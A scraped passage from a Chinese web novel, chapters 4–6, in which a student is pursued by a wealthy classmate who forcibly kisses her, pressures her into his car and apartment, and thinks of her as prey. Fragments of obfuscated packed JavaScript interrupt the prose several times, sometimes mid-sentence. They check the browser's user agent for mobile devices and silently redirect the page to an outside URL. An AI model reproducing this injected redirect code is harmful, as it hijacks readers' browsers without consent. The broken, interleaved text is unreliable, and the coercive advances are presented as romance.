35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420363|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 「可怜.JPG」 温纾莱并不是气余泽帆,是她昨天被闹得有点烦,余泽帆这个人不会引起她什么情绪波动,她对余泽帆的感情很平淡,谈不上喜欢。 「我没生气。」 余泽帆:「真的?」 文殊莱莱:「真的。」 余泽帆:「我不信,除非你陪我吃午饭。」 文殊莱莱:「你在哪?」 余泽帆:「你在图书馆等我吧,我去找你,毕竟我是的犯错的人。」 文殊莱莱:「好。」 温纾莱算着时间,从头到尾又复阅一遍,打包发到指定邮箱,合上电脑装起来,背上书包下楼。 她靠右走着楼梯,边找出MV制作群留言,艾特歌手和导演。 「剧本我写好发到您二位的邮箱了,有哪里要修改的随时联系我。」 回到消息列表,温纾莱才又想起宗昂。 他毫无动静,还未答复她。 宗昂那种人,身边最是不缺女生,昨天没准是一时兴起,睡过一觉醒来就会忘记她。 温纾莱心弦稍稍一松。 她先静观其变,宗昂要是三天内都不联系她,她就把他删掉。 图书馆前年翻修过一次,整体都采用玻璃幕墙,极大增加采光效果,一楼增设咖啡厅和休息区。 温纾莱坐在休息区其中一张单人沙发上刷着微博。 特别关心之一,温屿年转发了一条他在拍的那部古装剧全剧组的杀青合辑。温屿年饰演男五号,戏份不多,十来分钟的杀青合集里他总共占了七八秒钟。 温纾莱点赞评论转发一条龙。 再私信温屿年。 「恭喜又拍完一部,辛苦啦温大明星!」 余泽帆在外面看到温纾莱,先将镜头对准温纾莱,拉近焦距,说:“我老婆在那等我呢。” 他没有中断录制,推门进去,悄然靠近温纾莱,在她耳边低声:“老婆?” 温纾莱吓了一跳,蓦地转身,鼻尖蹭过不明物体。 余泽帆拎着奶茶和一束粉色玫瑰花的手往后挪了挪,笑容阳光:“赔罪礼物。” 温纾莱见他举着的那部手机,知道他又在拍视频,有些抵触,但也没说什么。 余泽帆是个小有名气的网红,全网粉丝加起来五百多万,一开始靠拍段子、变装起号,他长得还不错,成功收获一批粉丝。 和温纾莱恋爱后,拍的第一条情侣日常vlog爆火,因着温纾莱,第一次播放量超千万,还签约了公司。 一起吃完一顿午饭,余泽帆拉着温纾莱去逛校园拍素材。 余泽帆的vlog就是流水账,没有什么拍摄难度,一个多小时就凑齐所需片段。 两人在操场边的长椅坐下休息,余泽帆检查着素材,温纾莱安静的在一旁发呆,那一束粉玫瑰搁在她腿上。 她不喜欢出镜,架不住余泽帆软磨硬泡,说一星期只拍一条,她不用表演,展现最真实的反应就好,他后期都能剪辑。 温纾莱讨厌自己的软弱,宁可委屈自己也要让别人满意,她试着把自己放在首位,学着勇敢说“不”,学着拒绝,但她拒绝一次,别人再提第二次,她就又不会了。 每一天、每一年,只有年龄在增长,其他方面她好像一点长进都没有。 “老婆你怎么了?”余泽帆察觉出温纾莱的低迷,问:“你是不是还在生气?” 摸良心说,余泽帆是真的喜欢温纾莱,她漂亮又柔顺,即带出去有面子又能助他事业更上一层楼,还有一个咖位较小但不定哪天就派上用场的明星哥哥作为他以后进入娱乐圈的人脉。 唯一的缺点就是太古板。 恋爱两个月,但他追她追了一年还多,这份诚心还没能打动她,接触仅停留在牵牵手亲亲脸的阶段,亲嘴也就是蜻蜓点水,伸个舌头她都不能接受。 他舍友张峰和女朋友恋爱半个月就本垒打了。 那余泽帆也愿意哄着她。 温纾莱是他当下最好的选择。 “我昨天就是想带你出去玩玩,再给他们显摆一下我优秀的女朋友。”余泽帆踩一捧一:“张峰那女朋友长成那样他还总带出去呢,我女朋友这么漂亮没道理藏着掖着。” 温纾莱不喜他的用词,更不喜他比较她和另一个女生,她蹙眉:“你别这么说。” “好好好,我老婆善良,我听话就是了。” 余泽帆伸出手揽过她的肩膀,闻着她发间馨香,心头一动。 温纾莱垂眸揪着书包带子玩,忍着推开余泽帆的欲望,没注意到他越来越近的脸。 一抹呼吸喷洒在她脸颊的同一时刻,一道清朗的嗓音在上方响起。 “余泽帆。” 4. 第 4 章 余泽帆闻声回头:“宗昂?” 他忙不迭站起来,笑问:“你怎么来了?” “来找孔佳良。”宗昂淡声道明来意:“你知道他宿舍在哪么?” 余泽帆不知道也得知道,宗昂他爸可是国际上名头都响当当的大导演,有这条大粗腿近在眼前,不抱紧的人是傻子。他详细描述一遍路线,怕宗昂找不好,还提出要送他过去。 热心肠皮壳里泄露出点儿没藏好的谄媚。 宗昂勾唇,他比余泽帆会装,明明是嘲讽也能笑出友善的意思来,“不用,你专心陪你女朋友。” 说罢,他视线极有分寸的在背对他坐在长椅上的女生身上扫了一眼。 “还没给你介绍呢。” 余泽帆转身,牵起温纾莱的手:“这我女朋友,温纾莱。” 温纾莱在听到宗昂声音的那一刻,就恨不得原地消失。她脑袋埋得低低的,想装个透明人,奈何余泽帆非要挖她出来。 “莱莱,这是宗昂。”余泽帆晃了晃她的胳膊,示意她打个招呼:“他爸是宗穆川宗导,孔佳茉也认识他。” 宗昂主动伸出手:“你好。” 逃不掉,避不开。 温纾莱努力做到若无其事,也伸出手跟他虚握:“你好。” 仅仅是指尖相碰,温纾莱走完流程就想缩回手,宗昂速度更快地攥紧她,眼向上睨着她,自然俯首在她手背吻了一下。 温纾莱脑中警铃大震,昨天被强吻的那一幕浮现,她顾不上会不会露馅,嗖地抽出手。 差点打到他下巴。 宗昂收起眼底的兴味,站直,神情歉疚有礼:“不好意思,我只是想表达一下友好,不小心吓到你了。” 余泽帆先是一惊,后又记起宗昂是半个意大利人,又在国外生活多年,吻手、贴面都是正常社交礼仪。 他打圆场:“没事没事,我女朋友就是容易害羞,她胆子小,你别往心里去。” 宗昂看向躲在余泽帆身后的温纾莱。 胆子小是真的。 容易害羞也是真的。 那天晚上,她从未敢睁眼瞅他,脸颊红扑扑的,通身都泛着粉,声音都冲到嘴边也咬着唇憋回去,堵在嗓子里哼哼,更为蛊惑人心。 宗昂回忆着,喉结滚动,眼里欲色直白浮动。 宗昂目光停留在温纾莱那里太久,男人本性使得余泽帆不悦,他不动声色跨了一步挡住温纾莱,笑容不减地试探道:“宗昂?” 宗昂一眨眼恢复如初:“抱歉,我是觉得你女朋友有点眼熟。” “是吗?”余泽帆扭头瞥着温纾莱。 温纾莱绞紧身前的双手,话说一半藏一半:“我寒假在宗导的剧组兼职过,我们可能见过。” “哦对啊!你还跟我说过的。”余泽帆恍然大悟,那点不悦一扫而空,他看向宗昂:“还真是巧啊。” 迎着温纾莱故作淡定的眼神,宗昂好心留有一线,他朝二人笑了笑:“还有事,先走了。” 他照着余泽帆指出的方向走了一段,手机在虎口转一圈,找出小菩萨的电话拨过去。 …… …… 宗昂走后,余泽帆开启的聊天话题全都围绕着他,什么条条大路通罗马而有的人出生就在罗马,感叹间掺杂着不服气,他要是有一个宗穆川那么牛逼轰轰的爸开路,一准比宗昂更厉害。 余泽帆总是这样,当面一套背后一套,温纾莱说过他几次,他嘴上好好好却半点不改,温纾莱懒得再多费口舌了。 他们两个在一起是家里牵线撮合,并非温纾莱的主观愿望。 余泽帆抱怨完,又打听宗昂的信息,还问温纾莱有没有宗昂的微信。 不等她说话,他又自顾自否认:“算了你肯定没有,宗昂都不记得你。” 温纾莱好烦的,就在余泽帆要拜托她以后有机会她或者是她哥哥温屿年再进宗穆川的剧组,帮他要一个微信方便他打交道时,温纾莱的手机铃声响起。 十一位数字大剌剌呈现在屏幕上,温纾莱认出后四位,感激这通电话救她脱离苦海。 “我还有个剧本要改,打电话来催了。” “还去图书馆?”余泽帆说:“那我陪你去。” 温纾莱一秒钟都不想再跟余泽帆耗着,“不用,有些资料在宿舍,我回宿舍。” 余泽帆坚持送她到宿舍门口,他自觉是个体贴的男朋友。 进入宿舍楼,远离宗昂、余泽帆,温纾莱觉得空气都新鲜了好多,两只手拽着双肩包的带子,一层台阶一层台阶往上爬着,爬到第二层,铃声第二次作响。 还是宗昂。 他刚才打来的第一个电话,温纾莱没接。 余泽帆没怀疑,以为她是怕催进度。 这个电话温纾莱也不想接,对方估计是猜到她心理活动,响两声就挂了,温纾莱还未来得及松懈,宗昂换了方法,又发了消息。 .「你自己出来,还是我再进去接你?」 .「图片.JPG」 …… …… 电影学院门口每日豪车往来无数,有些人是家里有钱,买得起;有些人是有本事,坐得起。 一些不足为外人道也的事情,电影学院内部心知肚明。 温纾莱不会自持清高,瞧不起那些另辟蹊径的人,都是自己的选择,资源置换罢了,当事人愿意,旁人无权干涉。 但她不需要和宗昂置换资源,便做不到光明正大上他的车。 再者,他们本来就见不得光。 站在校门里面,她一眼瞧见那个醒目的连号车牌。 她躲在保安亭后面,踌躇打字。 「你能不能把车开远一点」 .「为什么?」 他明知故问。 温纾莱第一次不再找原因解释,只要求。 「你开远一点」 .「那我乖乖听你的话,你上车后能给我一个奖励吗?」 温纾莱直觉不好,不答应。 .「那我只好下去接你啦。」 停在电影学院门口右边第二个空位那辆车的车门打开,长腿落地,真容隐在车门后方。 温纾莱快速拨通宗昂的电话,急慌慌制止他:“你别来!” 她紧盯校门外的情形,宗昂单腿支地,倒是没再动。 听筒里的他在交换条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420364|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件:“我能有一个奖励吗?” 温纾莱咬着颊内软肉,闷声:“嗯。” 十几米外的车门关上,传到温纾莱耳中,只剩轻轻的一声“嘭”。 车子经过校门,引擎耀武扬威低鸣,向西驶去。 两三分钟后,温纾莱收到宗昂新发来的地址。 停在电影学院下一条街的临时车位。 宗昂的车是一辆488黑武士,车身通体漆黑。盘旋在路边像是撕开温纾莱安稳世界的黑色漩涡,一脚踏入就会掉进万丈深渊。 两座跑车,温纾莱心如死灰地拉开副驾车门坐进去。 她摊开掌心,客气说:“谢谢你帮我保管我的学生卡。” 宗昂看着她的手掌,想的是那晚他将她手扣在枕头上的画面。行动随心,他抬起手,在温纾莱退缩前,不太熟练地扣住。 “我的奖励呢?”他把脸伸到温纾莱跟前。 温纾莱读懂他的暗示,她转移话题:“你找我到底想干什么?” 宗昂侧过头看她,明白温纾莱这是不预备履行诺言,他也不气恼,伸舌在她唇瓣上舔了一口,混不吝地笑:“干.你行不行?” 温纾莱一脸不可置信。 宗昂强势地吻住她。 他的吻直来直往,撬开温纾莱的牙齿就是一个深吻,舔、吮、吸,一招连接着下一招,招招耍得温纾莱抵御不住,她紧皱眉头,自由的那只手推搡着他,被他化解了力气攀在他肩膀。 温纾莱破罐子破摔,放弃抵抗。 亲就亲吧,就当被狗啃了。 温纾莱死尸一般老实,宗昂顷刻失去兴致,他放开温纾莱。 一番厮磨,她唇色殷红,敛着卷翘的睫毛,丧气地坐在那里。 宗昂扯过安全带给她系上,坐正后也给自己系好,发动车子。驶入主干道后,他出声评判:“你挑男朋友的眼光不太好,他不会保护你。” 人生中第一段恋爱,温纾莱也曾对余泽帆抱有一个女朋友对男朋友应有的期待,一件件失望的事情累积到一定程度后,她便不再在乎,还未分手是因为不能分手。余泽帆不维护自己反而去劝慰别人,她没有不满,只是有点无奈。 陷入这种怪圈的无奈。 她承认宗昂对余泽帆评价的正确性,可他又有什么身份和资格插手这些呢? “既然知道我有男朋友,希望你以后不要再来打扰我了。” 温纾莱精力有限,余泽帆一个人就够她头疼,再来一个宗昂,她真的很无措。 “那天晚上是我先冒犯的你,你想要什么补偿都可以。” 那晚宗昂究竟有没有被下药温纾莱都不再深究,再怎么样,事情也没有转圜的余地,她先找上的宗昂那就都是她的错好了,她全部承担这份错误的代价。 只还她一个平静就好。 前方红灯,宗昂踩着刹车,车子停在停车线后。 他手肘抵在窗沿边,侧眸看她,嬉皮笑脸地说:“没关系呀,我就喜欢你有男朋友。” 这样多刺激。 温纾莱道德底线很高,他的靠近会令她惶恐不安,她的每一次挣扎与排斥,都在挑动着他沉寂索然的神经。 5. 第 5 章 宗昂的思维不在正常人的范畴之内,至少温纾莱理解不了。 后面一路她都沉默着,待到宗昂开车进入一片公寓住宅,她警惕地贴向车门,问他:“你要带我去哪?” 宗昂不做正面回答:“看不出来吗。” 温纾莱语气平稳地说:“我要下车。” 宗昂充耳不闻,自顾自往小区里面开着。 “咔哒”一声,温纾莱解开安全带的同时去开车门,意识到她竟是要跳车,宗昂急踩刹车,腾出一只手拽住她胳膊。 宗昂有安全带勒着,身体前倾到一定程度便被拽回,温纾莱没有阻力,上半身在惯性使然下,朝着前方扑去。 宗昂来不及再有其他动作,“咚”的一下,温纾莱额头结结实实磕到副驾台。 宗昂也解开安全带,扶起温纾莱:“你疯了吗?” 他拨开她的刘海察看:“疼不疼?” 女孩子皮肤嫩,磕这一下,皮肤先是泛起遭受撞击后的青白色,再以肉眼可见的速度变红。 温纾莱打掉他的手,平静决然:“宗昂,我已经说得很明白了,我有男朋友,我也会补偿你,我恳请你不要来打扰我的生活。” 温纾莱有自己的底线要坚守,她好言相劝,劝不进宗昂心里,力气也不敌宗昂,宗昂非要逼迫她,她不会为了贞洁这种虚无缥缈的枷锁寻死觅活,反正睡一次跟睡两次没区别,她只是不想一退再退,唯有用她本身作为反击的工具。 狗急了会跳墙,兔子急了也会咬人。 再次见面的这两天,宗昂被温纾莱推拒过很多次,她抗争过后的结果还是会屈从于他。 而这一次,她的举动出乎他的意料。 宗昂有点刮目相看,也有点兴奋。 猎物挣扎的兴奋。 他藏好这些兴奋,以免吓到温纾莱,再使她做出过激的行为伤害到她自己,那游戏就不好玩了。 宗昂摆正神色:“我没想怎么样,我带你来我这里是想请你帮个忙。” 温纾莱不相信他,抿唇不语。 “真的。”宗昂在两座中间的置物槽里抽出手机,调出一份文档转给温纾莱:“这是我爸下一部电影,剧本交给我写,改三次了,我不想他失望,让你帮我看看。” 温纾莱质问:“你不是学金融的吗?” 他的找补好拙劣。 “学金融是为我妈,学导演是为我爸,一碗水端平。”宗昂半真半假地解释着:“我这种离异家庭长大的小孩,做人好为难的。” 他父母居然离婚了。 温纾莱半垂的睫毛撩起。 宗昂好奇:“为什么这么惊讶?” 温纾莱摇摇头。 他的长相、学历、家世是她这种普通人望尘莫及的,他拥有很多耀眼的光环,温纾莱在被迫接收到这些讯息后,也难免在心里将他形象构建的更为完美。 是她刻板印象了。 温纾莱不说,宗昂也不追问,他现在要做到适可而止。 手机再往前递了递,他歪歪头:“看在我这么可怜的份上,帮帮我?” 温纾莱和宗昂是有过负距离亲密接触,可她对宗昂这个人是一点都不了解,哪里能知道宗昂最会哄骗人心,表面装得真诚,内里全是一团乌漆嘛黑的阴暗心思。 她还有一处不解:“为什么找我?” 说句难听的,他那么有钱,去外面找枪手多得是人自荐,就算他知道她所学专业,也不清楚她的水平吧,冒冒失失就找她帮忙? “我爸夸过你。” 温纾莱睁大眼睛。 响彻国际的名导会夸她这么一个还未踏出学校真正从事工作的小透明?匡她呢吧。 她有一双会说话的眼睛。 宗昂喜欢她的眼睛,愉悦地笑笑,给予她肯定:“他对你评价很高,你获奖的那个短片是他推荐给我的。” 温纾莱父母早亡,她早熟又懂事,可再成熟也没有退化掉喜怒哀乐七情六欲。宗穆川所有作品都是他自编自导,斩获国际大奖无数,捧红无数知名大咖,她视宗穆川为偶像,现在得到偶像的认可,她怎么会不欢喜。 宗昂那个剧本,是宗穆川要拍摄的下一部电影,她帮忙修改的版本要是最后被采纳,那她就算是和偶像共合作。 这个诱惑力不小。 场面还在僵持着,宗昂再抛出一个诱饵:“这样吧,你帮我改完这份剧本我们就一笔勾销。” 温纾莱有所松动:“真的?” 宗昂嗯哼一声。 她接过宗昂的手机,一目十行地阅读着文档内容。 宗昂悠悠叹气:“好伤心啊,一提我要放手你就好积极。” 温纾莱没爱理他,她读得很认真,眼瞳左右移动,眼睫随之轻扇,长发柔柔披散,贴合着她玲珑有致的身段。 这个点钟小区里鲜少有车辆往来,高档公寓小区进出口的主路修建的宽敞,车子这么大剌剌停在路中间也不影响什么。 宗昂暂停了车载音乐,支着脑袋瞧着她。 他不否认带温纾莱去他公寓是有做那件事的龌龊念想,但他低谷了她的脾性,那么乖柔的一个人发起火来还挺爆,他只好临时编造出一个正经目的。 一个能让这场捕猎游戏继续下去的目的。 不过他那些话都不是做假,他爸确实很夸过温纾莱有灵气,让他向温纾莱学习。 他倒要看看,他那个眼高于顶的父亲口中的才女,究竟实力如何。 “是有些问题的。”温纾莱指腹按住屏幕上的水平滚动条,文档拉到其中一页,指着某一处示意宗昂:“这里,主角感情太粗糙了。” “还有呢?”宗昂洗耳恭听。 温纾莱再次确定:“改完就一笔勾销?” 宗昂抵额的那只手朝外随意一扬,“当然。” “那我现在就回学校帮你改。”温纾莱摸上车门把手:“你把文档发给我。” “不行哦。”宗昂锁上车门,拉住她书包带子:“为了保证剧本不会泄露,你只能在我那里改。” 温纾莱:“我不会说出去的,我们可以签合同。” 宗昂:“你带回学校人多眼杂,我信你但信不过别人,真要泄漏出去你赔钱也没用。” 道理是这么个道理,可温纾莱就是排斥去宗昂家里。那是他的地盘,边边角角都是危险。 “那我们定好时间,约个地方见面改。” “你要不怕被你学校里的人看见,我没意见。” “……” “行了。”宗昂轻笑一记,一本正经地竖起三根手指发誓:“我保证我不会强迫你,除非你有需求,如有食言你随时终止。” 她能有什么需求啊! 温纾莱含首,由着长发掩藏起她脸,小小地翻一个白眼。 …… …… 商讨的最终结果,是温纾莱在课余时间去宗昂公寓修改剧本,直到宗穆川满意。 小区绿化做得极好,每一栋楼都相隔甚远,保护着住户隐私。 温纾莱在车上全程都在走神,没留意小区名字,不过北京这座城市,处处寸土寸金,任何一个地段的房子都不会便宜到哪去。 两人一前一后上了电梯,宗昂后知后觉地问:“你怎么知道我学的金融?” 他灰蓝色眼眸波光流转,含着几许惊喜。 温纾莱毫不留情地戳破他自恋的幻想,“你在我们学校很出名,这两天都是关于你的消息。” 颜值即正义,宗昂凭借一场篮球赛在电影学院和体院两所高校打响名头,他的照片满天飞,表白墙每天都在捞人。 宗昂说:“那你也记住了不是吗。” 温纾莱:“……” 随便吧,他爱怎么想就怎么想吧。 上升到顶层,两人出了电梯,宗昂识别指纹前报了一串数字给温纾莱。 温纾莱云里雾里:“什么?” 宗昂考虑周全:“大门密码,我不在家的话你也能进来。” 温纾莱立刻表示:“你不在家我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420365|169012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会来的。” 他在家她过来,那她是客人,他不在她还来,那算什么? 太暧昧了,她不要。 再说,万一丢了什么东西她再沾上一身腥。 宗昂耸耸肩膀。 开门进去,哒哒的声响迟缓响起。 温纾莱跟在宗昂身后进屋,他蹲下身后,前方景象清晰呈现出来,一条灰桃阿拉斯加慢悠悠晃着尾巴溜达到宗昂面前,抬起一只前爪放在宗昂摊开的掌心。 不等温纾莱问,宗昂就主动告诉她:“它叫巴克,十四岁了。” 阿拉斯加的平均寿命在12—16岁之间,小部分可以活到20岁。 巴克现在的年龄,是条老狗了。 宗昂捏了捏巴克的爪子,站起来:“巴克是我五岁那年我舅舅送我的,它陪我的时间比我爸妈还要多。” 跟她说干什么,她并不想知道。 温纾莱干巴巴的“哦”了一声,问道:“我在哪改剧本?” 早点改完早点分道扬镳。 这是她近期唯一的愿望。 宗昂看出她的急迫,没有东扯西扯磨耗她的耐心,在客厅茶几抽屉里提出医药箱,找到一管消肿药膏要帮温纾莱上药。 “我自己来。”温纾莱夺过药膏自己抹在额头撞伤处。 她涂完,宗昂领着她去了书房,打开电脑找到剧本文档,侧身给她腾出位置,朝座椅处抬了抬下巴。 电脑里的这份剧本要更为全面,多了世界观以及主角的人物小传。 温纾莱坐到电脑前,脱掉书包,腰杆挺直,双腿并拢,很是标准的小学生坐姿。 宗昂站在旁边看她两眼,兀自笑了笑。 她怎么又乖又呆的。 温纾莱专注忙于喜欢的事情,连宗昂什么时候出去的都不知道。她没有直接删除不妥的地方,而是在原剧本的基础上保留修改痕迹,用不同颜色的字体进行区分。 静谧的书房里,一时间只余键盘啪啦啪啦的声响。 宗昂去厨房弄了一盘水果,磨磨蹭蹭小半个钟头才搞完端去书房。 嘴唇抵上一个冰凉的物体,温纾莱从剧本里抽思出来。 宗昂用叉子叉着一颗蓝莓喂给她。 温纾莱想说她不吃,偏偏那颗蓝莓就堵在她唇口,她一张嘴,宗昂就喂进去。 扫到电脑桌上多出来的果盘,她又是浅浅一怔。 见她目光落在果盘上,宗昂邀功:“我切的,不错吧?” 芒果果肉卷出三朵玫瑰花,猕猴桃和青提切割出花样纹路,黄绿配色清新亮眼,蓝莓是点缀品。 宗昂还补充说:“我带了一次性手套,放心吃。” 温纾莱不会吃的,她就是挺诧异宗昂还会这门有情调的手艺活。 她往另一边坐了坐,指向电脑屏幕,滑动鼠标圈出人物小传那部分:“人物小传你是还没写完吗?” 宗昂不明所以:“写完了。” “那阿敏的人物小传怎么没有?” “她角色太小,懒得写了,都在我脑子里。” 阿敏是个极为不起眼的小角色,戏份占比可能仅有百分之一、二,片尾演员表都是垫底的存在,可温纾莱对待这个角色却不会敷衍了事。 “小角色的弧光塑造好了会比主角还要出彩,你分给她的台词可以再扩充一下。”温纾莱说:“都是你创造出来的人物,不能厚此薄彼。” 宗昂当然懂这个理,但他就是懒为小人物费心。 “还有这里。”温纾莱又将页面拉到她改动的第一处:“这里铺垫不够,导致第一个矛盾爆发的有点生硬。” 她轻声慢语地讲着,宗昂俯下身,一手搭着椅背一手撑着桌面,半包围着温纾莱。 他下巴离温纾莱发顶很近,能闻到她发间清雅的花香。 她好善良好单纯,一点心机都没有,他说什么她都信。 干净的像一张白纸。 他怎么会轻易放弃她呢,他只会迫不及待将这张白纸污染上色。 6. 第 6 章 温纾莱非常用心在对待这份剧本,她没有藏私,把她自己总结的一些经验技巧都分享给宗昂。 她发现,宗昂是挺有天赋的,他最大的毛病是端架子,角色有明显的等级之分,主角形象塑造丰满,打酱油的小角色一笔带过,不允许抢主角风头,缺少立体感和人物弧光,致使配角沦为NPC。 而她则是偏向在配角身上增添一个点睛之笔。 温纾莱和宗昂理念不太合,但各有各的独到见解,讨论起来也各有各的收获。 有正事可干,一下午一晃而过,敲定好所有人物的形象,窗外天色早已暗了下去。 温纾莱看眼电脑右下角的时间,七点半。她赶着要走,保存好文档,挎上书包站起来。 宗昂坐在另一张搬来的椅子上,仰头:“吃完晚饭我再送你回学校吧。” 温纾莱不想跟宗昂有剧本以外的多余牵扯,“不用了,我坐地铁回去。” 宗昂腿一踢,他坐着的那把椅子往后滑,椅背堪堪接近后方书架,他双腿懒洋洋伸着,挡住温纾莱的去路:“就不让你走。” 温纾莱非要出去也不是毫无可能,在宗昂腿上跨过去就行,但以宗昂的无赖劲儿,难保他不会做些什么。 似乎看出她的进退两难,宗昂善良的替她做出决定,起身趁其不备夺走她的书包,拎着朝书房外走:“不吃不给你书包。” 好烦啊,他好幼稚。 温纾莱瞅着他闲庭信步的背影,气恼地鼓了鼓腮。 一点濡湿触到垂在身侧的手背,温纾莱本能背过手,低头见是一直守在书房的巴克在蹭她。 巴克毛茸茸的脑袋直往她手心里塞,索求抚摸。 温纾莱很喜欢小动物,难以对巴克冷脸,觑了下门口,确认空无一人,她挠上巴克的脑顶。 …… …… 温纾莱以为会出去吃饭,到客厅一看,旁边开放式餐厅的餐桌上已经摆了几道菜。 宗昂拿着碗筷从厨房里出来,顺手拉开一把椅子,叫温纾莱:“坐。” 温纾莱环顾一圈四周:“我书包呢?” “吃完就还你,丢不了。” 温纾莱慢吞吞挪到餐桌边坐下,宗昂盛好一碗米饭放到她手边,筷子横放在碗上。 他在她对面落座,巴克亲昵地趴在她脚边。 宗昂见状,笑了声:“它很喜欢你。” 温纾莱夹起几颗米粒含进嘴里,不接茬儿。 她从小就挺招猫猫狗狗还有小孩子的亲近。 一出书房,一脱离剧本,温纾莱周身就散发出抗拒的气息,闷头吃着饭,不和宗昂有一秒钟的眼神交流。 宗昂看看快要埋进碗里的温纾莱,再瞅瞅蹲在她腿边露出两只耳朵的巴克,筷子在指尖旋着,罕见没再作妖,安分守己。 宗昂有一个奇特的点,他认为吃饭是一件及其私密的事情,他几乎没有心无旁骛跟旁人一起吃饭的能力,每次参加饭局,他鲜少动筷。 上一次有这样踏实的食欲是在父母离婚前?他回忆里大部分时间都是自己一个人独自坐在家里那张长桌边,静默地咀嚼着索然无味的饭菜。 温纾莱吃相很文静,不挑食。但是也有偏好。 宗昂观察着她,西芹百合、松露春笋她夹得次数最多,其次是木瓜奶冻。 口淡又嗜甜。 可她的个人资料上有写她是筑城人,那儿好像是个吃辣胜地? 宗昂记下这一点,动筷夹菜。 二人的第一顿晚饭在诡异和阒然中吃完。 宗昂这次说话算话,吃完饭就送温纾莱回了学校。 天已黑透,保险起见,温纾莱还是强烈要求宗昂把车停在下午的那个地方。 下车前,宗昂问她:“明天我来接你。” “我自己去就行。”温纾莱坐他的车着实提心吊胆。 宗昂沉吟片刻,十分好说话地点点头:“好。” 从吃饭起他就挺规矩的,不太符合他的风格。 温纾莱默默想。 车门打开,温纾莱一条腿迈出去,左胳膊突然被攥住,她心一沉,就说宗昂怎么会转性。 她抬眸飞快扫了一圈车外,提防着碰到熟人以及随时会发疯的宗昂。 “你又要干什么?”她克制着急躁,尽量放缓语气。 宗昂说:“谢谢你。” 温纾莱回头。 路灯倾斜进车内,暖调的橙色灯光在宗昂脸上切割出界限,他置身于半明半昧的环境里。 “谢谢你今天陪我吃饭。” …… …… 温纾莱在学校大门口偶遇到刚打完台球从校外回来的余泽帆,一帮人,有男有女。 其中一个女生一手按着余泽帆肩膀,边走边笑,说了句话后嗔怪地拍了下余泽帆。 和余泽帆最为要好的邓峰最先看见温纾莱,撞了撞余泽帆另一边肩膀,提醒他。 余泽帆朝温纾莱那边看,举起手臂喊道:“老婆!” 一溜小跑着去找温纾莱。 同余泽帆嬉笑打闹的那个女生笑容减淡许多,远远望着温纾莱。 “你什么时候出去的?”余泽帆停在她面前,随口问:“干嘛去了?” 温纾莱不善与人交锋,和女生对视一两秒钟,无波无澜地收回视线,看向余泽帆巧妙修饰着答案:“跟甲方当面沟通了一下。” “怎么没叫我陪你啊。”余泽帆作势要去摘她书包,帮她拿着。 温纾莱避开:“我自己背着吧,不重。” 这下见到温纾莱,余泽帆肯定是要陪女朋友的,他那几个朋友极有眼力见地先行一步,包括那个女生。 余泽帆提出再去逛逛操场,温纾莱以剧本为由推却了。余泽帆虽有失落但也不敢耽误温纾莱的工作,他还指望温纾莱在娱乐圈站稳脚跟带飞他呢。 他将温纾莱送到她宿舍楼下,分别前出其不意地亲了下她一口。 “老婆晚安。” 温纾莱嗯一声,步伐正常的走进楼里,转过拐角,她抬起手,用袖子蹭了蹭脸颊。 宿舍门只会在睡觉时插上门栓,平常都阖掩着,省得进进出出总要麻烦睡在门边的人开门。 温纾莱推门进去,宿舍里激烈的讨伐噤声,孔佳茉三个人不约而同望向她。 温纾莱关上门,眨眨眼:“怎么了?” “没怎么。”孔佳茉状若无事地问:“你这一天干嘛去了,我们睡醒就不见你人影。” 温纾莱如实汇报:“上午去了图书馆,下午改剧本。” “我天,你还有心情改剧本呢?”何皎皎憋不住了,她甩掉孔佳茉扯她的手,朝温纾莱那里走两步:“我下去跟社团的人去打台球,余泽帆也在,还有那个田若心,他俩有说有笑的,余泽帆还亲自上手教田若心打台球,他想干嘛?他一点逼数没有?” 田若心就是温纾莱在校门口遇到的那个女生,隔壁体院的。 上学期期末,田若心在明知余泽帆和温纾莱交往的前提下,还搞了场声势浩大的表白。 表白对象是余泽帆。 那时,温纾莱、余泽帆和田若心三人都被推上风口浪尖,三人的三角恋更是为人津津乐道。 幸亏没多久就是暑假,关于这件事的议论才偃旗息鼓。 如今,余泽帆不仅没有跟田若心保持距离,还处成了朋友。 “我实在想不通,莱莱你到底看上余泽帆什么了?”何皎皎是真发愁温纾莱的眼光,她不吐不快:“他中央空调不是一两次了吧,大一新生入学他给学妹忙前忙后搬行李,还有孔佳茉她哥咱们几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 